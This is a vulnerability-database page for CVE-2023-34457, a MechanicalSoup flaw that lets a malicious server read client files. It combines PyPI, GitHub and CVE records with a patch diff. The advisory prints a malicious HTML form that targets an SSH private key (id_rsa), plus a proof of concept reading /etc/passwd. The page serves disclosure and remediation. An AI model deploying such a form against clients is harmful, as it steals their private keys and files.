pysec-2023-108

Vulnerability from pysec

Published

2023-07-05 20:15

Modified

2023-07-12 18:32

Details

MechanicalSoup is a Python library for automating interaction with websites. Starting in version 0.2.0 and prior to version 1.3.0, a malicious web server can read arbitrary files on the client using a <input type="file" ...> inside HTML form. All users of MechanicalSoup's form submission are affected, unless they took very specific (and manual) steps to reset HTML form field values. Version 1.3.0 contains a patch for this issue.

Impacted products

Name	purl
mechanicalsoup	pkg:pypi/mechanicalsoup

Aliases

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mechanicalsoup",
        "purl": "pkg:pypi/mechanicalsoup"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "d57c4a269bba3b9a0c5bfa20292955b849006d9e"
            }
          ],
          "repo": "https://github.com/MechanicalSoup/MechanicalSoup",
          "type": "GIT"
        },
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.0.2",
        "0.0.3",
        "0.1.0",
        "0.1.1",
        "0.1.2",
        "0.10.0",
        "0.11.0",
        "0.12.0",
        "0.2.0",
        "0.2.1",
        "0.2.2",
        "0.3.0",
        "0.3.1",
        "0.4.0",
        "0.5.0",
        "0.6.0",
        "0.7.0",
        "0.8.0",
        "0.9.0",
        "0.9.0.post1",
        "0.9.0.post2",
        "0.9.0.post3",
        "0.9.0.post4",
        "1.0.0",
        "1.1.0",
        "1.2.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2023-34457",
    "GHSA-x456-3ccm-m6j4"
  ],
  "details": "MechanicalSoup is a Python library for automating interaction with websites. Starting in version 0.2.0 and prior to version 1.3.0, a malicious web server can read arbitrary files on the client using a `\u003cinput type=\"file\" ...\u003e` inside HTML form. All users of MechanicalSoup\u0027s form submission are affected, unless they took very specific (and manual) steps to reset HTML form field values. Version 1.3.0 contains a patch for this issue.",
  "id": "PYSEC-2023-108",
  "modified": "2023-07-12T18:32:48.148340+00:00",
  "published": "2023-07-05T20:15:00+00:00",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MechanicalSoup/MechanicalSoup/releases/tag/v1.3.0"
    },
    {
      "type": "EVIDENCE",
      "url": "https://github.com/MechanicalSoup/MechanicalSoup/security/advisories/GHSA-x456-3ccm-m6j4"
    },
    {
      "type": "FIX",
      "url": "https://github.com/MechanicalSoup/MechanicalSoup/security/advisories/GHSA-x456-3ccm-m6j4"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/MechanicalSoup/MechanicalSoup/security/advisories/GHSA-x456-3ccm-m6j4"
    },
    {
      "type": "FIX",
      "url": "https://github.com/MechanicalSoup/MechanicalSoup/commit/d57c4a269bba3b9a0c5bfa20292955b849006d9e"
    }
  ]
}

ghsa-x456-3ccm-m6j4

Vulnerability from github

Published

2023-07-05 21:35

Modified

2024-10-01 19:29

Severity ?

5.9 (Medium) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
8.7 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Summary

MechanicalSoup vulnerable to malicious web server reading arbitrary files on client using file input inside HTML form

Details

Summary

A malicious web server can read arbitrary files on the client using a <input type="file" ...> inside HTML form.

Details

This affects the extremely common pattern of form submission:

python b = mechanicalsoup.StatefulBrowser() b.select_form(...) b.submit_selected()

The problem is with the code in browser.Browser.get_request_kwargs:

python if tag.get("type", "").lower() == "file" and multipart: filepath = value if filepath != "" and isinstance(filepath, str): content = open(filepath, "rb") else: content = "" filename = os.path.basename(filepath) # If value is the empty string, we still pass it # for consistency with browsers (see # https://github.com/MechanicalSoup/MechanicalSoup/issues/250). files[name] = (filename, content)

The file path is taken from the bs4 tag "value" attribute. However, this path will default to whatever the server sends. So if a malicious web server were to send something like:

```html

```

then upon .submit_selected() the mechanicalsoup browser will happily send over the contents of your SSH private key.

PoC

```python import attr import mechanicalsoup import requests

class NevermindError(Exception): pass

@attr.s class FakeSession: session = attr.ib()

headers = property(lambda self: self.session.headers)

def request(self, *args, **kwargs):
    print("requested", args, kwargs)
    raise NevermindError  # don't actually send request

def demonstrate(inputs=None): b = mechanicalsoup.StatefulBrowser(FakeSession(requests.Session())) b.open_fake_page("""\

""", url="http://127.0.0.1:9/") b.select_form() if inputs is not None: b.form.set_input(inputs) try: b.submit_selected() except NevermindError: pass

%%

unpatched

demonstrate()

OUTPUT: requested () {'method': 'post', 'url': 'http://127.0.0.1:9/', 'files': {'evil': ('passwd', <_io.BufferedReader name='/etc/passwd'>), 'second': ('', '')}, 'headers': {'Referer': 'http://127.0.0.1:9/'}, 'data': [('greeting', 'hello')]}

%%

with the patch, this now works. users MUST open the file manually and

use browser.set_input() using the file object.

demonstrate({"greeting": "hiya", "evil": open("/etc/hostname", "rb").name, "second": open("/dev/null", "rb")})

OUTPUT: requested () {'method': 'post', 'url': 'http://127.0.0.1:9/', 'files': {'evil': ('hostname', <_io.BufferedReader name='/etc/hostname'>), 'second': ('null', <_io.BufferedReader name='/dev/null'>)}, 'headers': {'Referer': 'http://127.0.0.1:9/'}, 'data': [('greeting', 'hiya')]}

%%

with the patch, this raises a ValueError with a helpful string

demonstrate({"evil": "/etc/hostname"})

%%

with the patch, we silently send no file if a malicious server tries the attack:

demonstrate() ```

Suggested patch

```diff diff --git a/mechanicalsoup/browser.py b/mechanicalsoup/browser.py index 285f8bb..68bc65e 100644 --- a/mechanicalsoup/browser.py +++ b/mechanicalsoup/browser.py @@ -1,7 +1,8 @@ +import io import os import tempfile import urllib import weakref import webbrowser

import bs4 @@ -227,15 +228,21 @@ class Browser: value = tag.get("value", "")

             # If the enctype is not multipart, the filename is put in
             # the form as a text input and the file is not sent.
             if tag.get("type", "").lower() == "file" and multipart:
                 filepath = value
                 if filepath != "" and isinstance(filepath, str):

content = open(filepath, "rb")
content = getattr(tag, "_mechanicalsoup_file", None)
if content is False:
raise ValueError(
"""From v1.3.0 onwards, you must pass an open file object directly, for example using form.set_input({"name": open("/path/to/filename", "rb")}). This change is to mitigate a security vulnerability where a malicious web server could read arbitrary files from the client."""
)
elif not isinstance(content, io.IOBase):
content = "" else: content = "" filename = os.path.basename(filepath) # If value is the empty string, we still pass it # for consistency with browsers (see # https://github.com/MechanicalSoup/MechanicalSoup/issues/250). files[name] = (filename, content) diff --git a/mechanicalsoup/form.py b/mechanicalsoup/form.py index a67195c..82f6015 100644 --- a/mechanicalsoup/form.py +++ b/mechanicalsoup/form.py @@ -1,8 +1,9 @@ import copy +import io import warnings

from bs4 import BeautifulSoup

from .utils import LinkNotFoundError

@@ -64,15 +65,24 @@ class Form: give it the value password. """

     for (name, value) in data.items():
         i = self.form.find("input", {"name": name})
         if not i:
             raise InvalidFormMethod("No input field named " + name)

i["value"] = value +
if isinstance(value, io.IOBase):
Store the actual file object for
i._mechanicalsoup_file = value
i["value"] = value.name
else:
We set _mechanicalsoup_file to False so that we can
check for deprecated use of the API.
i._mechanicalsoup_file = False
i["value"] = value

def uncheck_all(self, name): """Remove the checked-attribute of all input elements with a name-attribute given by name. """ for option in self.form.find_all("input", {"name": name}): if "checked" in option.attrs: @@ -257,20 +267,20 @@ class Form: .. code-block:: python
```
     form.set("login", username)
     form.set("password", password)
     form.set("eula-checkbox", True)

 Example: uploading a file through a ``<input type="file"
```
- name="tagname">`` field (provide the path to the local file,
- name="tagname">`` field (provide an open file object, and its content will be uploaded):
  
  .. code-block:: python
form.set("tagname", path_to_local_file)

form.set("tagname", open(path_to_local_file, "rb"))

 """
 for func in ("checkbox", "radio", "input", "textarea", "select"):
     try:
         getattr(self, "set_" + func)({name: value})
         return
     except InvalidFormMethod:

```

Impact

All users of MechanicalSoup's form submission are affected, unless they took very specific (and manual) steps to reset HTML form field values.

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "MechanicalSoup"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.2.0"
            },
            {
              "fixed": "1.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-34457"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-07-05T21:35:54Z",
    "nvd_published_at": "2023-07-05T20:15:10Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA malicious web server can read arbitrary files on the client using a `\u003cinput type=\"file\" ...\u003e` inside HTML form.\n\n### Details\nThis affects the extremely common pattern of form submission:\n\n```python\nb = mechanicalsoup.StatefulBrowser()\nb.select_form(...)\nb.submit_selected()\n```\n\nThe problem is with the code in `browser.Browser.get_request_kwargs`:\n\n```python\n    if tag.get(\"type\", \"\").lower() == \"file\" and multipart:\n        filepath = value\n        if filepath != \"\" and isinstance(filepath, str):\n            content = open(filepath, \"rb\")\n        else:\n            content = \"\"\n        filename = os.path.basename(filepath)\n        # If value is the empty string, we still pass it\n        # for consistency with browsers (see\n        # https://github.com/MechanicalSoup/MechanicalSoup/issues/250).\n        files[name] = (filename, content)\n```\n\nThe file path is taken from the bs4 tag \"value\" attribute. However, this path will default to whatever the server sends. So if a malicious web server were to send something like:\n\n```html\n\u003chtml\u003e\u003cbody\u003e\n  \u003cform method=\"post\" enctype=\"multipart/form-data\"\u003e\n    \u003cinput type=\"text\" name=\"greeting\" value=\"hello\" /\u003e\n    \u003cinput type=\"file\" name=\"evil\" value=\"/home/user/.ssh/id_rsa\" /\u003e\n  \u003c/form\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\nthen upon `.submit_selected()` the mechanicalsoup browser will happily send over the contents of your SSH private key.\n\n### PoC\n\n```python\nimport attr\nimport mechanicalsoup\nimport requests\n\n\nclass NevermindError(Exception):\n    pass\n\n\n@attr.s\nclass FakeSession:\n    session = attr.ib()\n\n    headers = property(lambda self: self.session.headers)\n\n    def request(self, *args, **kwargs):\n        print(\"requested\", args, kwargs)\n        raise NevermindError  # don\u0027t actually send request\n\n\ndef demonstrate(inputs=None):\n    b = mechanicalsoup.StatefulBrowser(FakeSession(requests.Session()))\n    b.open_fake_page(\"\"\"\\\n\u003chtml\u003e\u003cbody\u003e\n\u003cform method=\"post\" enctype=\"multipart/form-data\"\u003e\n\u003cinput type=\"text\" name=\"greeting\" value=\"hello\" /\u003e\n\u003cinput type=\"file\" name=\"evil\" value=\"/etc/passwd\" /\u003e\n\u003cinput type=\"file\" name=\"second\" /\u003e\n\u003c/form\u003e\n\u003c/body\u003e\u003c/html\u003e\n\"\"\", url=\"http://127.0.0.1:9/\")\n    b.select_form()\n    if inputs is not None:\n        b.form.set_input(inputs)\n    try:\n        b.submit_selected()\n    except NevermindError:\n        pass\n\n# %%\n\n# unpatched\ndemonstrate()\n# OUTPUT: requested () {\u0027method\u0027: \u0027post\u0027, \u0027url\u0027: \u0027http://127.0.0.1:9/\u0027, \u0027files\u0027: {\u0027evil\u0027: (\u0027passwd\u0027, \u003c_io.BufferedReader name=\u0027/etc/passwd\u0027\u003e), \u0027second\u0027: (\u0027\u0027, \u0027\u0027)}, \u0027headers\u0027: {\u0027Referer\u0027: \u0027http://127.0.0.1:9/\u0027}, \u0027data\u0027: [(\u0027greeting\u0027, \u0027hello\u0027)]}\n\n# %%\n\n# with the patch, this now works. users MUST open the file manually and\n# use browser.set_input() using the file object.\ndemonstrate({\"greeting\": \"hiya\", \"evil\": open(\"/etc/hostname\", \"rb\").name, \"second\": open(\"/dev/null\", \"rb\")})\n# OUTPUT: requested () {\u0027method\u0027: \u0027post\u0027, \u0027url\u0027: \u0027http://127.0.0.1:9/\u0027, \u0027files\u0027: {\u0027evil\u0027: (\u0027hostname\u0027, \u003c_io.BufferedReader name=\u0027/etc/hostname\u0027\u003e), \u0027second\u0027: (\u0027null\u0027, \u003c_io.BufferedReader name=\u0027/dev/null\u0027\u003e)}, \u0027headers\u0027: {\u0027Referer\u0027: \u0027http://127.0.0.1:9/\u0027}, \u0027data\u0027: [(\u0027greeting\u0027, \u0027hiya\u0027)]}\n\n# %%\n\n# with the patch, this raises a ValueError with a helpful string\ndemonstrate({\"evil\": \"/etc/hostname\"})\n\n# %%\n\n# with the patch, we silently send no file if a malicious server tries the attack:\ndemonstrate()\n```\n\n### Suggested patch\n\n```diff\ndiff --git a/mechanicalsoup/browser.py b/mechanicalsoup/browser.py\nindex 285f8bb..68bc65e 100644\n--- a/mechanicalsoup/browser.py\n+++ b/mechanicalsoup/browser.py\n@@ -1,7 +1,8 @@\n+import io\n import os\n import tempfile\n import urllib\n import weakref\n import webbrowser\n \n import bs4\n@@ -227,15 +228,21 @@ class Browser:\n                     value = tag.get(\"value\", \"\")\n \n                 # If the enctype is not multipart, the filename is put in\n                 # the form as a text input and the file is not sent.\n                 if tag.get(\"type\", \"\").lower() == \"file\" and multipart:\n                     filepath = value\n                     if filepath != \"\" and isinstance(filepath, str):\n-                        content = open(filepath, \"rb\")\n+                        content = getattr(tag, \"_mechanicalsoup_file\", None)\n+                        if content is False:\n+                            raise ValueError(\n+                                \"\"\"From v1.3.0 onwards, you must pass an open file object directly, for example using `form.set_input({\"name\": open(\"/path/to/filename\", \"rb\")})`. This change is to mitigate a security vulnerability where a malicious web server could read arbitrary files from the client.\"\"\"\n+                            )\n+                        elif not isinstance(content, io.IOBase):\n+                            content = \"\"\n                     else:\n                         content = \"\"\n                     filename = os.path.basename(filepath)\n                     # If value is the empty string, we still pass it\n                     # for consistency with browsers (see\n                     # https://github.com/MechanicalSoup/MechanicalSoup/issues/250).\n                     files[name] = (filename, content)\ndiff --git a/mechanicalsoup/form.py b/mechanicalsoup/form.py\nindex a67195c..82f6015 100644\n--- a/mechanicalsoup/form.py\n+++ b/mechanicalsoup/form.py\n@@ -1,8 +1,9 @@\n import copy\n+import io\n import warnings\n \n from bs4 import BeautifulSoup\n \n from .utils import LinkNotFoundError\n \n \n@@ -64,15 +65,24 @@ class Form:\n         give it the value ``password``.\n         \"\"\"\n \n         for (name, value) in data.items():\n             i = self.form.find(\"input\", {\"name\": name})\n             if not i:\n                 raise InvalidFormMethod(\"No input field named \" + name)\n-            i[\"value\"] = value\n+\n+            if isinstance(value, io.IOBase):\n+                # Store the actual file object for \u003cinput type=\"file\"\u003e\n+                i._mechanicalsoup_file = value\n+                i[\"value\"] = value.name\n+            else:\n+                # We set `_mechanicalsoup_file` to `False` so that we can\n+                # check for deprecated use of the API.\n+                i._mechanicalsoup_file = False\n+                i[\"value\"] = value\n \n     def uncheck_all(self, name):\n         \"\"\"Remove the *checked*-attribute of all input elements with\n         a *name*-attribute given by ``name``.\n         \"\"\"\n         for option in self.form.find_all(\"input\", {\"name\": name}):\n             if \"checked\" in option.attrs:\n@@ -257,20 +267,20 @@ class Form:\n         .. code-block:: python\n \n             form.set(\"login\", username)\n             form.set(\"password\", password)\n             form.set(\"eula-checkbox\", True)\n \n         Example: uploading a file through a ``\u003cinput type=\"file\"\n-        name=\"tagname\"\u003e`` field (provide the path to the local file,\n+        name=\"tagname\"\u003e`` field (provide an open file object,\n         and its content will be uploaded):\n \n         .. code-block:: python\n \n-            form.set(\"tagname\", path_to_local_file)\n+            form.set(\"tagname\", open(path_to_local_file, \"rb\"))\n \n         \"\"\"\n         for func in (\"checkbox\", \"radio\", \"input\", \"textarea\", \"select\"):\n             try:\n                 getattr(self, \"set_\" + func)({name: value})\n                 return\n             except InvalidFormMethod:\n```\n\n### Impact\n\nAll users of MechanicalSoup\u0027s form submission are affected, unless they took very specific (and manual) steps to reset HTML form field values.",
  "id": "GHSA-x456-3ccm-m6j4",
  "modified": "2024-10-01T19:29:06Z",
  "published": "2023-07-05T21:35:54Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MechanicalSoup/MechanicalSoup/security/advisories/GHSA-x456-3ccm-m6j4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34457"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MechanicalSoup/MechanicalSoup/commit/d57c4a269bba3b9a0c5bfa20292955b849006d9e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MechanicalSoup/MechanicalSoup"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MechanicalSoup/MechanicalSoup/releases/tag/v1.3.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/mechanicalsoup/PYSEC-2023-108.yaml"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MechanicalSoup vulnerable to malicious web server reading arbitrary files on client using file input inside HTML form"
}

CVE-2023-34457 (GCVE-0-2023-34457)

Vulnerability from cvelistv5

Published

2023-07-05 19:25

Modified

2025-02-13 16:55

Severity ?

5.9 (Medium) - CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

CWE

CWE-20 - Improper Input Validation

Summary

MechanicalSoup is a Python library for automating interaction with websites. Starting in version 0.2.0 and prior to version 1.3.0, a malicious web server can read arbitrary files on the client using a `<input type="file" ...>` inside HTML form. All users of MechanicalSoup's form submission are affected, unless they took very specific (and manual) steps to reset HTML form field values. Version 1.3.0 contains a patch for this issue.

References

URL

Tags

	https://github.com/MechanicalSoup/MechanicalSoup/security/advisories/GHSA-x456-3ccm-m6j4	x_refsource_CONFIRM
	https://github.com/MechanicalSoup/MechanicalSoup/commit/d57c4a269bba3b9a0c5bfa20292955b849006d9e	x_refsource_MISC
	https://github.com/MechanicalSoup/MechanicalSoup/releases/tag/v1.3.0	x_refsource_MISC
	https://security.netapp.com/advisory/ntap-20230803-0005/

Impacted products

	Vendor	Product	Version
	MechanicalSoup	MechanicalSoup	Version: >= 0.2.0, < 1.3.0

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T16:10:06.995Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "name": "https://github.com/MechanicalSoup/MechanicalSoup/security/advisories/GHSA-x456-3ccm-m6j4",
            "tags": [
              "x_refsource_CONFIRM",
              "x_transferred"
            ],
            "url": "https://github.com/MechanicalSoup/MechanicalSoup/security/advisories/GHSA-x456-3ccm-m6j4"
          },
          {
            "name": "https://github.com/MechanicalSoup/MechanicalSoup/commit/d57c4a269bba3b9a0c5bfa20292955b849006d9e",
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://github.com/MechanicalSoup/MechanicalSoup/commit/d57c4a269bba3b9a0c5bfa20292955b849006d9e"
          },
          {
            "name": "https://github.com/MechanicalSoup/MechanicalSoup/releases/tag/v1.3.0",
            "tags": [
              "x_refsource_MISC",
              "x_transferred"
            ],
            "url": "https://github.com/MechanicalSoup/MechanicalSoup/releases/tag/v1.3.0"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://security.netapp.com/advisory/ntap-20230803-0005/"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:a:mechanicalsoup_project:mechanicalsoup:*:*:*:*:*:python:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "mechanicalsoup",
            "vendor": "mechanicalsoup_project",
            "versions": [
              {
                "lessThan": "1.3.0",
                "status": "affected",
                "version": "0.2.0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2023-34457",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-24T17:59:35.918865Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-24T18:18:50.540Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "MechanicalSoup",
          "vendor": "MechanicalSoup",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 0.2.0, \u003c 1.3.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "MechanicalSoup is a Python library for automating interaction with websites. Starting in version 0.2.0 and prior to version 1.3.0, a malicious web server can read arbitrary files on the client using a `\u003cinput type=\"file\" ...\u003e` inside HTML form. All users of MechanicalSoup\u0027s form submission are affected, unless they took very specific (and manual) steps to reset HTML form field values. Version 1.3.0 contains a patch for this issue."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 5.9,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-20",
              "description": "CWE-20: Improper Input Validation",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2023-08-03T14:06:20.059Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/MechanicalSoup/MechanicalSoup/security/advisories/GHSA-x456-3ccm-m6j4",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/MechanicalSoup/MechanicalSoup/security/advisories/GHSA-x456-3ccm-m6j4"
        },
        {
          "name": "https://github.com/MechanicalSoup/MechanicalSoup/commit/d57c4a269bba3b9a0c5bfa20292955b849006d9e",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/MechanicalSoup/MechanicalSoup/commit/d57c4a269bba3b9a0c5bfa20292955b849006d9e"
        },
        {
          "name": "https://github.com/MechanicalSoup/MechanicalSoup/releases/tag/v1.3.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/MechanicalSoup/MechanicalSoup/releases/tag/v1.3.0"
        },
        {
          "url": "https://security.netapp.com/advisory/ntap-20230803-0005/"
        }
      ],
      "source": {
        "advisory": "GHSA-x456-3ccm-m6j4",
        "discovery": "UNKNOWN"
      },
      "title": "MechanicalSoup vulnerable to malicious web server reading arbitrary files on client using file input inside HTML form"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2023-34457",
    "datePublished": "2023-07-05T19:25:35.966Z",
    "dateReserved": "2023-06-06T16:16:53.559Z",
    "dateUpdated": "2025-02-13T16:55:35.658Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
Confirmed: The vulnerability is confirmed from an analyst perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
Patched: This vulnerability was successfully patched by the user reporting the sighting.
Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
Not confirmed: The user expresses doubt about the veracity of the vulnerability.
Not patched: This vulnerability was not successfully patched by the user reporting the sighting.

Action not permitted

pysec-2023-108

Vulnerability from pysec

ghsa-x456-3ccm-m6j4

Vulnerability from github

Summary

Details

PoC

%%

unpatched

OUTPUT: requested () {'method': 'post', 'url': 'http://127.0.0.1:9/', 'files': {'evil': ('passwd', <_io.BufferedReader name='/etc/passwd'>), 'second': ('', '')}, 'headers': {'Referer': 'http://127.0.0.1:9/'}, 'data': [('greeting', 'hello')]}

%%

with the patch, this now works. users MUST open the file manually and

use browser.set_input() using the file object.

OUTPUT: requested () {'method': 'post', 'url': 'http://127.0.0.1:9/', 'files': {'evil': ('hostname', <_io.BufferedReader name='/etc/hostname'>), 'second': ('null', <_io.BufferedReader name='/dev/null'>)}, 'headers': {'Referer': 'http://127.0.0.1:9/'}, 'data': [('greeting', 'hiya')]}

%%

with the patch, this raises a ValueError with a helpful string

%%

with the patch, we silently send no file if a malicious server tries the attack:

Suggested patch

Store the actual file object for

We set _mechanicalsoup_file to False so that we can

check for deprecated use of the API.

Impact

CVE-2023-34457 (GCVE-0-2023-34457)

Vulnerability from cvelistv5

Tags

Sightings

Nomenclature

We set `_mechanicalsoup_file` to `False` so that we can